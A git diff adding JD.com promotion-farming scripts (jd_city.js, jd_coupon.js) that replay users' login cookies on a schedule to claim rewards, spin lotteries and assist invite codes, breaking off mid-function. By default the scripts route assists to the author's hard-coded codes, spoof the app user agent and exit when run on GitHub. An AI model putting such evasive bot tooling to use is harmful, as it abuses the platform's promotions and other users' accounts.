this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_city.js b/activity/jd_city.js new file mode 100644 index 0000000..d87bd9a --- /dev/null +++ b/activity/jd_city.js @@ -0,0 +1,394 @@ +/* +城城领现金 +活动时间:2021-05-25到2021-06-03 +更新时间:2021-05-24 014:55 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#城城领现金 +0 0-23/1 * * * jd_city.js, tag=城城领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 0-23/1 * * *" script-path=jd_city.js,tag=城城领现金 + +===================================Surge================================ +城城领现金 = type=cron,cronexp="0 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_city.js + +====================================小火箭============================= +城城领现金 = type=cron,script-path=jd_city.js, cronexpr="0 0-23/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('城城领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//自动抽奖 ,环境变量 JD_CITY_EXCHANGE +let exchangeFlag = $.getdata('jdJxdExchange') || !!0;//是否开启自动抽奖,建议活动快结束开启,默认关闭 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let inviteCodes = [ + 'xBd-HlYMlLUzqSkuz0qzAzuayqOG3FfAIeOTGLowr29_KbnH2bV4EX4@RtGKzr_wSAn2eIKZRdRm07jvOMS2zVH-g8ri6aOIZPDcI8v7CA@RtGKzr-gRAmmdoaZQdcz30FEv6dt0Mio6a5hyr9dt0vq1P8G0g@RtGKz-ygEAj2e9aYH4U10HcN_2_yeoSSOH50A7CItcn6lB6jwQ', + 'RtGKz-ygEAj2e9aYH4U10HcN_2_yeoSSOH50A7CItcn6lB6jwQ' +] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requireConfig(); + if (exchangeFlag) { + console.log(`脚本自动抽奖`) + } else { + console.log(`脚本不会自动抽奖,建议活动快结束开启,默认关闭(在6.2日自动开启抽奖),如需自动抽奖请设置环境变量 JD_CITY_EXCHANGE 为true`); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await getInfo('',true); + for (let i = 0; i < $.newShareCodes.length; ++i) { + console.log(`\n开始助力 【${$.newShareCodes[i]}】`) + let res = await getInfo($.newShareCodes[i]) + if (res && res['data'] && res['data']['bizCode'] === 0) { + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0] && res['data']['result']['toasts'][0]['status'] === '3') { + console.log(`助力次数已耗尽,跳出`) + break + } + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0]) { + console.log(`助力 【${$.newShareCodes[i]}】:${res.data.result.toasts[0].msg}`) + } + } + if ((res && res['status'] && res['status'] === '3') || (res && res.data && res.data.bizCode === -11)) { + // 助力次数耗尽 || 黑号 + break + } + } + await getInviteInfo();//雇佣 + if (exchangeFlag) { + const res = await city_lotteryAward();//抽奖 + if (res && res > 0) { + for (let i = 0; i < new Array(res).fill('').length; i++) { + await $.wait(1000) + await city_lotteryAward();//抽奖 + } + } + } else { + //默认6.2开启抽奖 + if ((new Date().getMonth() + 1) === 6 && new Date().getDate() >= 2) { + const res = await city_lotteryAward();//抽奖 + if (res && res > 0) { + for (let i = 0; i < new Array(res).fill('').length; i++) { + await $.wait(1000) + await city_lotteryAward();//抽奖 + } + } + } + } + await $.wait(1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function getInfo(inviteId, flag = false) { + let body = {"lbsCity":"19","realLbsCity":"1601","inviteId":inviteId,"headImg":"","userName":""} + return new Promise((resolve) => { + $.post(taskPostUrl("city_getHomeData",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // if (inviteId) $.log(`\n助力结果:\n${data}\n`) + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + if (flag) console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data && data.data.result.userActBaseInfo.inviteId}\n`); + for(let vo of data.data.result && data.data.result.mainInfos || []){ + if (vo && vo.remaingAssistNum === 0 && vo.status === "1") { + console.log(vo.roundNum) + await receiveCash(vo.roundNum) + await $.wait(2*1000) + } + } + } else { + console.log(`\n\n${inviteId ? '助力好友' : '获取邀请码'}失败:${data.data.bizMsg}`) + if (flag) { + if (data.data && !data.data.result.userActBaseInfo.inviteId) { + console.log(`账号已黑,看不到邀请码\n`); + } + } + } + } else { + console.log(`\n\ncity_getHomeData失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function receiveCash(roundNum) { + let body = {"cashType":1,"roundNum":roundNum} + return new Promise((resolve) => { + $.post(taskPostUrl("city_receiveCash",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`领红包结果${data}`); + data = JSON.parse(data); + if (data['data']['bizCode'] === 0) { + console.log(`获得 ${data.data.result.currentTimeCash} 元,共计 ${data.data.result.totalCash} 元`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getInviteInfo() { + let body = {} + return new Promise((resolve) => { + $.post(taskPostUrl("city_masterMainData",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function city_lotteryAward() { + let body = {} + return new Promise((resolve) => { + $.post(taskPostUrl("city_lotteryAward",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`抽奖结果:${data}`); + data = JSON.parse(data); + if (data['data']['bizCode'] === 0) { + const lotteryNum = data['data']['result']['lotteryNum']; + resolve(lotteryNum); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/city/query/10/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CITY_EXCHANGE) { + exchangeFlag = process.env.JD_CITY_EXCHANGE || exchangeFlag; + } + if (process.env.CITY_SHARECODES) { + if (process.env.CITY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.CITY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.CITY_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_coupon.js b/activity/jd_coupon.js new file mode 100644 index 0000000..d6790fa --- /dev/null +++ b/activity/jd_coupon.js @@ -0,0 +1,264 @@ +/* +源头好物红包 +活动时间:未知 +更新地址:jd_coupon.js +活动入口:https://h5.m.jd.com/babelDiy/Zeus/3hhgqjj5rLjZFbi8UtaD2uex21ky/index.html?babelChannel=ttt19 +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#源头好物红包 +0 0 * * * jd_coupon.js, tag=源头好物红包, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_coupon.jpg, enabled=true + +================Loon============== +[Script] +cron "0 0 * * *" script-path=jd_coupon.js, tag=源头好物红包 + +===============Surge================= +源头好物红包 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=jd_coupon.js + +============小火箭========= +源头好物红包 = type=cron,script-path=jd_coupon.js, cronexpr="0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('源头好物红包'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await festival() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +async function festival() { + $.times = 0 + $.risk = false + await getInfo() +} + +function getInfo() { + let body = {"activityId":"3hhgqjj5rLjZFbi8UtaD2uex21ky","dynamicParam":[],"geo":{"lng":"0.000000","lat":"0.000000"},"babelChannel":"ttt19","mcChannel":0,"openId":""} + return new Promise(resolve => { + $.post(taskPostUrl('queryPanamaPage',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.msg ==="success") { + for(let vo of data.floorList){ + if(vo.remarks.jimuid){ + console.log(vo.remarks.jimuid) + await receive(vo.remarks.jimuid) + } + } + } else { + console.log(`信息获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function receive(actId) { + let body = {"actId":actId} + return new Promise(resolve => { + 